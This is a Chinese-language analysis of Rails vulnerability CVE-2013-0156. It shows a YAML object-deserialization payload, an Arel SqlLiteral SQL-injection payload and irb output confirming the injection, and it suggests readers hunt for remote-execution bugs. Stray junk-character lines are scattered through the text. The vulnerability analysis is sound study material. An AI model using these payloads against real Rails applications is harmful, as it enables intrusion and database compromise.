Ruby on Rails XML参数注入漏洞(CVE-2013-0156)分析

admin

Author: wofeiwo#80sec.com
- l9 q/ t: A- f2 ^
注意，本文基本是这篇文章的中文版本，由于我水平有限，因此如果大家看的不是很明白，建议去原文查看。

近日RoR的漏洞大爆发,就在昨天临晨,RoR的官网发布了新的两个安全漏洞补丁,CVE-2013-0155和CVE-2013-0156.
$ j" @! T* p  e# f$ X: U
CVE-2013-0155主要是防止Json数据解析的nil导致程序DoS,而CVE-2013-0156则是对RoR的XML解析进行修补.其中Json的那个并没有什么值得关注的部分,但是对于XML解析的修补,却很值得玩味.官网对此补丁的描述是:要求所有RoR的用户,必须立即(immediately)升级此补丁.这是本周内除了CVE-2012-6496之外,第二次要求大家”立即”升级的高危漏洞.甚至,连cnbeta都开始报道此漏洞了.
5 f- ~3 B! w! B/ B+ t
2 E1 e' i6 l& u6 r( A为什么这个漏洞如此的严重?原因就出在RoR框架的灵活性和便利性上.RoR支持用户使用多种格式提交你的参数,而不仅仅是使用HTTP的那些基本格式.你可以使用Json,可以使用XML的方式去对你提交的参数进行描述,因为Ruby是个强类型语言,因此由于HTTP传过来的纯string的参数并不足够描述参数的属性.当你使用XML格式去递交时,就是另一回事了.例如:
6 a, j. y& Q$ r" w, K
9 X' C/ }/ L1 f5 I& F; m) f<?xml version="1.0" encoding="UTF-8"?> <hash> <foo type="integer">1</foo> </hash>如果你POST提交这样的一个数据,RoR就会在其中解析为:

, n  M1 u8 c* S"hash" => {"foo" => 1}这些type的xml属性也就补充说明了一个参数的类型.RoR可以很便利的将其解析出来.可关键问题就在此,Type的取值还可以为Symbol和Yaml.

说起Symbol,还记得之前提到的另一个高危SQL注入漏洞,CVE-2012-6496,其最大的不可利用问题,就在于他需要提交的参数的key必须是Symbol类型么?
0 h& F/ D0 Z3 d) c7 h$ W4 j1 x5 O
然后我们测试下，就会发现，由于框架中对参数进行 data.with_indifferent_access 的操作（会把key全变成string），我们还是无法通过xml去将Key变成Symbol类型。所以，也无法利用此漏洞去利用CVE-2012-6496。
7 w# ]: l# [# }, D" _9 t, ?. Z
但是等等，还有另一个参数类型，yaml。
3 r# r# S. B# S7 @) u
: G" d& U5 I- a4 w; j1 B6 ?yaml强大的地方在于，利用yaml语言，你可以让Rails生成各种类型的数据结构，例如，Object。

5 @% `- \! p3 P1 P+ z/ E# P<test type="yaml">--- !ruby/object:A
  Z% `* i! X' ]aaa: bbb </test>这基本类似于一个变量反序列化的过程，实际用起来基本就相当于一个任意变量覆盖漏洞。如果后续的代码中，有将此Object的aaa属性带入eval/exec/system等关键语句中，就可以执行一些被污染的代码。

* s3 l' }6 _9 P4 O7 _如果你熟悉rails的代码，或者其他开源rails的webapp，现在就可以找起来了。或许一个远程执行0day就此诞生。

1 f% C+ ^4 l0 b! _3 k3 Z# }如果你不熟悉ror，那么也没问题，实际上还有个利用方式，可以直接进行sql注入。
7 ^! q- w1 k9 r. m
+ S" i' ~* d. O$ F一般在RoR中都是使用model.find_by_*的方式进行数据库查询（ActiveRecord模式）
4 X1 r" ~" S- K, b2 D' Z
6 \( Z4 ~) E$ A& bmodel.find_by_id(params[:id])类似的代码会很常见。我们可以通过yaml去定义这个id变量，使其成为可以注入的内容：

<id type=yaml>--- !str:Arel::Nodes::SqlLiteral
1 and 1=2 </id>利用如上代码，通过SqlLiteral对象，即可进行sql注入。
# e* P! M1 ?. e& k! z- c5 t
8 O/ r, i/ F3 {) i  i1 R; Iirb(main):017:0> a = Arel::Nodes::SqlLiteral.new("1") => "1" irb(main):018:0> Post.find_by_id(a) Post Load (0.0ms)SELECT "posts".* FROM "posts" WHERE "posts"."id" = 1 LIMIT 1 => #<Post id: 1, name: "aaa", title: nil, content: "A new post", created_at: "2013-01-10 05:01:01", updated_at: "2013-01-10 05:01:01"> irb(main):019:0> a = Arel::Nodes::SqlLiteral.new("1 and 1=1") => "1 and 1=1" irb(main):020:0> Post.find_by_id(a) Post Load (0.0ms)SELECT "posts".* FROM "posts" WHERE "posts"."id" = 1 and 1=1 LIMIT 1 => #<Post id: 1, name: "aaa", title: nil, content: "A new post", created_at: "2013-01-10 05:01:01", updated_at: "2013-01-10 05:01:01"> irb(main):021:0> a = Arel::Nodes::SqlLiteral.new("1 and 1=2") => "1 and 1=2" irb(main):022:0> Post.find_by_id(a) Post Load (0.0ms) SELECT "posts".* FROM "posts" WHERE "posts"."id" = 1 and 1=2 LIMIT 1 => nil本文非常感谢@tcpper 的帮助，没有他的解释和测试，我是无法理解RoR及本漏洞的。
' y+ E6 o. _* R6 h. Q